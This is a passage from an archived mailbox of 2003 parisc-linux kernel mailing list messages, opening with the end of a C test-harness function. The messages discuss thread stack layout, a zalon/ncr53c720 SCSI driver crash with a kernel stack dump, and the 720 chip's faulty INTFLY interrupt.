  pid = fork ();
  if (pid == 0)
    {
      /* This is the child.  */
#ifdef RLIMIT_CORE
      /* Try to avoid dumping core.  */
      struct rlimit core_limit;
      core_limit.rlim_cur = 0;
      core_limit.rlim_max = 0;
      setrlimit (RLIMIT_CORE, &core_limit);
#endif

#ifdef RLIMIT_DATA
      /* Try to avoid eating all memory if a test leaks.  */
      struct rlimit data_limit;
      if (getrlimit (RLIMIT_DATA, &data_limit) == 0)
	{
	  if (TEST_DATA_LIMIT == RLIM_INFINITY)
	    data_limit.rlim_cur = data_limit.rlim_max;
	  else if (data_limit.rlim_cur > (rlim_t) TEST_DATA_LIMIT)
	    data_limit.rlim_cur = MIN ((rlim_t) TEST_DATA_LIMIT,
				       data_limit.rlim_max);
	  if (setrlimit (RLIMIT_DATA, &data_limit) < 0)
	    perror ("setrlimit: RLIMIT_DATA");
	}
      else
	perror ("getrlimit: RLIMIT_DATA");
#endif

      /* We put the test process in its own pgrp so that if it bogusly
	 generates any job control signals, they won't hit the whole build.  */
      setpgid (0, 0);

      /* Execute the test function and exit with the return value.   */
      exit (TEST_FUNCTION);
    }
  else if (pid < 0)
    {
      perror ("Cannot fork test program");
      exit (1);
    }

  /* Set timeout.  */
#ifndef TIMEOUT
  /* Default timeout is two seconds.  */
# define TIMEOUT 2
#endif
  signal (SIGALRM, timeout_handler);
  alarm (TIMEOUT);

  /* Wait for the regular termination.  */
  termpid = TEMP_FAILURE_RETRY (waitpid (pid, &status, 0));
  if (termpid == -1)
    {
      printf ("Waiting for test program failed: %m\n");
      exit (1);
    }
  if (termpid != pid)
    {
      printf ("Oops, wrong test program terminated: expected %ld, got %ld\n",
	      (long int) pid, (long int) termpid);
      exit (1);
    }

#ifndef EXPECTED_SIGNAL
  /* We don't expect any signal.  */
# define EXPECTED_SIGNAL 0
#endif
  if (WTERMSIG (status) != EXPECTED_SIGNAL)
    {
      if (EXPECTED_SIGNAL != 0)
	{
	  if (WTERMSIG (status) == 0)
	    fprintf (stderr,
		     "Expected signal '%s' from child, got none\n",
		     strsignal (EXPECTED_SIGNAL));
	  else
	    fprintf (stderr,
		     "Incorrect signal from child: got `%s', need `%s'\n",
		     strsignal (WTERMSIG (status)),
		     strsignal (EXPECTED_SIGNAL));
	}
      else
	fprintf (stderr, "Didn't expect signal from child: got `%s'\n",
		 strsignal (WTERMSIG (status)));
      exit (1);
    }

  /* Simply exit with the return value of the test.  */
#ifndef EXPECTED_STATUS
  return WEXITSTATUS (status);
#else
  if (WEXITSTATUS (status) != EXPECTED_STATUS)
    {
      fprintf (stderr, "Expected status %d, got %d\n",
	       EXPECTED_STATUS, WEXITSTATUS (status));
      exit (1);
    }

  return 0;
#endif
}

--wRRV7LY7NUeQGEoC--


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread attributes and stack positions (gcc
	related?)
Date: 28 Sep 2003 12:53:38 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1064771620.10778.5.camel@mulgrave>
References: <20030928174226.GA3040@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622823 31723 80.91.229.3 (22 Nov 2014 02:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:23 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 11:53:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0A2848C4
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 11:53:46 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8SHreq22071;
	Sun, 28 Sep 2003 13:53:40 -0400
In-Reply-To: <20030928174226.GA3040@systemhalted>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19659

On Sun, 2003-09-28 at 12:42, Carlos O'Donell wrote:
> The variable is definately on the process stack. The thread's stack 
> address seems to be inside the libraries 'writable' space and the stack 
> size is wrong (or uninitialized). Perhaps I should just be looking for 
> arch-dependant init code that we might be missing.

This, I believe to be correct: there's only one real stack (i.e. the
thing on x86 that grows down from top of memory) and only one thread can
have it.  The rest of the thread stacks are mmapped at fixed sizes with
a guard area to prevent them growing too far.  mmapped memory comes out
of the same pool that shared library memory comes from, so you should
correctly see the mappings interleave (depending on the load and thread
start order).

James




From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken
 on C110
Date: Sun, 28 Sep 2003 18:03:43 +0000
Lines: 140
Approved: news@gmane.org
Message-ID: <3F77227F.7000400@tiscali.be>
References: <3F76A312.8090603@tiscali.be> <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622824 31728 80.91.229.3 (22 Nov 2014 02:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 12:03:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D837848CA
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 12:03:45 -0600 (MDT)
Original-Received: from [62.235.120.167] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3ftY-00026f-6u; Sun, 28 Sep 2003 20:03:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19660

Matthew Wilcox wrote:

>The driver is rev 1.5 in -test5-pa6.  rev 1.6 is in -test5-pa18.
>After -test5-pa20, we don't have anyautotagged stuff, but let's start
>with -pa18.
>
>  
>
Sorry it already failled with following satck dump:
zalon_probe: Zalon vers field is 0x1, IRQ 34
ncr53c720-0: rev 0xf on bus 0 device 0 function 0 irq 34
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: suspicious SCSI data while resetting the BUS.
ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 
0x3fdff00, expecting 0x100
ncr53c720-0: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE 
POWER etc.!
ncr53c720-0: detaching...

Stack Dump:
 17fb8758:  17fb8758 00000202 0000000e 00000000
 17fb8748:  10385f84 00000001 10385f84 00000020
 17fb8738:  17ff8b2c 000000d0 17ff8b2c 1013efec
 17fb8728:  00000001 17ff8b48 0000003c 17ff7800
 17fb8718:  10385f84 00000202 0000000e 17fb83c0
 17fb8708:  0000001a 00000194 00000000 00000040
 17fb86f8:  17ff8b2c 000000d0 17ff8b2c 10106524
 17fb86e8:  10090600 100906a0 10357000 17ff7800
 17fb86d8:  17ff8bac 10385f84 00000202 00000001
 17fb86c8:  103862c0 00002574 00002575 00000000
 17fb86b8:  100e2568 000000d0 100e2568 10214844
 17fb86a8:  00000001 100e2584 00000001 100e2568
 17fb8698:  10094ac0 17ff0088 00000000 1033a000
 17fb8688:  10468810 10397010 10370010 10391054
 17fb8678:  00000004 000012c8 10454a18 101421fc
 17fb8668:  00001329 10397010 10370010 103d11c0
 17fb8658:  00000000 0000004d 10472478 ffffffff
 17fb8648:  100e2568 00000080 00000001 f00000a4
 17fb8638:  f00000ac f00010f4 00000000 10141b60
 17fb8628:  0000004d 00000000 103d11c0 10370010
 17fb8618:  10453810 10385810 10453884 1037f5ec
 17fb8608:  100e2568 100e2568 100e25d4 10391054
 17fb85f8:  00000004 00001382 10454a18 1010b088
 17fb85e8:  0000139c 10397010 100e2568 100e2584
 17fb85d8:  00100100 00200200 17ee4034 10434810
 17fb85c8:  10397010 10370010 103d11c0 f00000a4
 17fb85b8:  f00000ac f00010f4 00000000 101422c8
 17fb85a8:  0000004d 00000000 17fb8488 00000002
 17fb8598:  10090600 17ee4034 00000194 00000000
 17fb8588:  4b5a0328 0000001f 100e25d4 103d11c0
 17fb8578:  00000000 0000004d 000000fd 10257458
 17fb8568:  1025ba9c 00000000 00000000 00000000
 17fb8558:  00000000 00000000 00000000 00000000
 17fb8548:  00000000 00000000 00000000 00000000
 17fb8538:  41000000 00000000 40800000 00000000
 17fb8528:  40000000 00000000 40000000 7fffffff
 17fb8518:  41800000 00000000 40200000 00000000
 17fb8508:  40200000 00000000 40300000 00000000
 17fb84f8:  41000000 00000000 40800000 7fffffff
 17fb84e8:  7fffffff 00000000 41000000 7fffffff
 17fb84d8:  7fffffff 00000800 00000400 00000200
 17fb84c8:  00000100 00000080 00000040 00000000
 17fb84b8:  00000000 00000010 00000010 00000000
 17fb84a8:  41800000 25b7ea20 45e69c6a 00000000
 17fb8498:  00000000 e0000000 43ebebeb ffffffff
 17fb8488:  7f7fffff 00000020 00000010 00000000
 17fb8478:  00000000 00000000 00000000 00000000
 17fb8468:  00000000 00000000 00000000 00000000
 17fb8458:  0000001f 00000000 0000001f 00000000
 17fb8448:  0000001f 00000000 000b0800 10142ce8
 17fb8438:  17fb83c0 0000000b 00000000 1036e010
 17fb8428:  00000000 17ffc360 000002c7 10082000
 17fb8418:  0000000f 0000001f 00000036 0000001f
 17fb8408:  f00000a4 f00000ac f00010f4 00000000
 17fb83f8:  000000fd 0000004d 00000000 103d11c0
 17fb83e8:  10370010 ffffffed 17ff0000 00000022
 17fb83d8:  10468810 1033a000 00000000 17ff0088
 17fb83c8:  1025baa0 1025b800 000eff0f 100cd800
 17fb83b8:  fffffffb 10353000 10370528 f3f8c800
 17fb83a8:  00000001 1033a000 10353000 00000022
 17fb8398:  17ff0088 00000001 1033a000 10468810
 17fb8388:  00000022 17ff0000 ffffffed 10391054
 17fb8378:  00000004 000011b5 10454a18 103e7e64
 17fb8368:  000011de 00000000 100864e0 10359e74

Kernel addresses on the stack:
 [<10124204>] copy_process+0x3d8/0x9f0
 [<10106220>] parisc_terminate+0x60/0xb8
 [<1013efec>] buffered_rmqueue+0xd8/0x164
 [<10106524>] handle_interruption+0x2ac/0x5bc
 [<10214844>] serial8250_console_write+0x1ac/0x37c
 [<101421fc>] do_drain+0x18/0x28
 [<10141b60>] slab_destroy+0x15c/0x214
 [<1010b088>] intr_check_sig+0x0/0xc
 [<101422c8>] __cache_shrink+0x70/0xc0
 [<10257458>] ncr_detach+0x0/0x374
 [<103d11c0>] start_kernel+0x4/0x214
 [<103e7e64>] zalon_probe+0x240/0x270
 [<1010ecf8>] parisc_driver_probe+0x2c/0x60
 [<10219dcc>] bus_match+0x48/0x80
 [<10219f28>] driver_attach+0x70/0xa4
 [<1021a1b0>] bus_add_driver+0x98/0xa8
 [<101ec1b4>] pci_populate_driver_dir+0x30/0x38
 [<1021a51c>] driver_register+0x48/0x54
 [<103e7c14>] sym2_init+0x18/0x28
 [<103d1438>] do_initcalls+0x58/0xdc
 [<10100400>] init+0x2c/0x144
 [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=17fb83c0 (Addr=00000194)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111 Not tainted
r00-03  00000000 1025b800 1025baa0 17ff0088
r04-07  00000000 1033a000 10468810 00000022
r08-11  17ff0000 ffffffed 10370010 103d11c0
r12-15  00000000 0000004d 000000fd 00000000
r16-19  f00010f4 f00000ac f00000a4 0000001f
r20-23  00000036 0000001f 0000000f 10082000
r24-27  000002c7 17ffc360 00000000 1036e010
r28-31  00000000 0000000b 17fb83c0 10142ce8
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1025ba9c 10257458
 IIR: 4b5a0328    ISR: 00000000  IOR: 00000194
 CPU:        0   CR30: 17fb8000 CR31: 103c6000
 ORIG_R28: 00000000
 IAOQ[0]: ncr53c8xx_release+0xc/0x20
 IAOQ[1]: ncr_detach+0x0/0x374
 RP(r2): ncr53c8xx_release+0x10/0x20

Now what do you thing foward pa20 or backward pa14?

Thanks,
    Joel




From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: Sun, 28 Sep 2003 19:05:19 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030928180519.GT5759@sleepie.demon.co.uk>
References: <20030927072449.5AF0F494058@palinux.hppa> <20030928165631.GS5759@sleepie.demon.co.uk> <1064769945.10841.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622824 31736 80.91.229.3 (22 Nov 2014 02:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:24 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 12:29:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc1-hem11-4-cust109.lutn.cable.ntl.com [80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13791489B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 12:29:34 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id AC7D19E718; Sun, 28 Sep 2003 19:05:19 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1064769945.10841.1.camel@mulgrave>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19661

On Sun, Sep 28, 2003 at 12:24:26PM -0500, James Bottomley wrote:
> On Sun, 2003-09-28 at 11:56, Richard Hirst wrote:
> > Only because I didn't get it to work properly when I did the original
> > 720 support, iirc.  The chip does have INTFLY.  I _think_ INTFLY worked
> > a bit, but the driver tended to miss interrupts sometimes.  Could easily
> > have been a driver bug.  Was a long time ago now though, so I could be
> > misremembering.
> 
> Actually, the 720 is bust in silicon.  The 770 has a properly working

OK - explains why it didn't work then.

Cheers,
  Richard



From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: Sun, 28 Sep 2003 20:23:23 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030928192323.GL24824@parcelfarce.linux.theplanet.co.uk>
References: <20030927072449.5AF0F494058@palinux.hppa> <20030928165631.GS5759@sleepie.demon.co.uk> <1064769945.10841.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622824 31739 80.91.229.3 (22 Nov 2014 02:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:24 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 13:23:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D8B948C6
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 13:23:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3h8d-0000mj-Aq; Sun, 28 Sep 2003 20:23:23 +0100
Content-Disposition: inline
In-Reply-To: <1064769945.10841.1.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19662

On Sun, Sep 28, 2003 at 12:24:26PM -0500, James Bottomley wrote:
> Actually, the 720 is bust in silicon.  The 770 has a properly working
> intfly, but the 720's doesnt work reliably.  Actually, the Q720 board
> this driver also drives is wired to have a special "intfly" from a board
> register to get around the problem.

Mmm, OK.  Did you want me to put the SIMULATED_INTFLY conditionals
back in?  It wasn't much code; I've just been focused on ripping out
all the 8xx support, and I completely forgot about the 770.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: 28 Sep 2003 14:25:43 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1064777144.10840.17.camel@mulgrave>
References: <20030927072449.5AF0F494058@palinux.hppa>
	<20030928165631.GS5759@sleepie.demon.co.uk>
	<1064769945.10841.1.camel@mulgrave> 
	<20030928192323.GL24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622824 31740 80.91.229.3 (22 Nov 2014 02:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:24 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 13:25:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1963E48CE
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 13:25:47 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8SJPiq25899;
	Sun, 28 Sep 2003 15:25:44 -0400
In-Reply-To: <20030928192323.GL24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19663

On Sun, 2003-09-28 at 14:23, Matthew Wilcox wrote:
> On Sun, Sep 28, 2003 at 12:24:26PM -0500, James Bottomley wrote:
> > Actually, the 720 is bust in silicon.  The 770 has a properly working
> > intfly, but the 720's doesnt work reliably.  Actually, the Q720 board
> > this driver also drives is wired to have a special "intfly" from a board
> > register to get around the problem.
> 
> Mmm, OK.  Did you want me to put the SIMULATED_INTFLY conditionals
> back in?  It wasn't much code; I've just been focused on ripping out
> all the 8xx support, and I completely forgot about the 770.

Perhaps.  The way I'd envisaged going forwards was to put the Q720 code
in there...it does a memory move which causes the card to trigger and
interrupt which can be used as an INTFLY.

Unfortunately, I lost all my Q770 cards in a lab move, so I've no means
of testing them.

James




From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken
 on C110
Date: Sun, 28 Sep 2003 20:32:49 +0000
Lines: 150
Approved: news@gmane.org
Message-ID: <3F774571.6050100@tiscali.be>
References: <3F76A312.8090603@tiscali.be> <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk> <3F77227F.7000400@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622825 31743 80.91.229.3 (22 Nov 2014 02:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:25 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 14:32:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37A3648C8
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 14:32:52 -0600 (MDT)
Original-Received: from [62.235.120.167] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3iDp-0001G5-AI; Sun, 28 Sep 2003 22:32:49 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <3F77227F.7000400@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19664

Joel Soete wrote:

> Matthew Wilcox wrote:
>
>> The driver is rev 1.5 in -test5-pa6.  rev 1.6 is in -test5-pa18.
>> After -test5-pa20, we don't have anyautotagged stuff, but let's start
>> with -pa18.
>>
>>  
>>
> Sorry it already failled with following satck dump:
> zalon_probe: Zalon vers field is 0x1, IRQ 34
> ncr53c720-0: rev 0xf on bus 0 device 0 function 0 irq 34
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> ncr53c720-0: suspicious SCSI data while resetting the BUS.
> ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 
> 0x3fdff00, expecting 0x100
> ncr53c720-0: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE 
> POWER etc.!
> ncr53c720-0: detaching...
>
> Stack Dump:
> 17fb8758:  17fb8758 00000202 0000000e 00000000
> 17fb8748:  10385f84 00000001 10385f84 00000020
> 17fb8738:  17ff8b2c 000000d0 17ff8b2c 1013efec
> 17fb8728:  00000001 17ff8b48 0000003c 17ff7800
> 17fb8718:  10385f84 00000202 0000000e 17fb83c0
> 17fb8708:  0000001a 00000194 00000000 00000040
> 17fb86f8:  17ff8b2c 000000d0 17ff8b2c 10106524
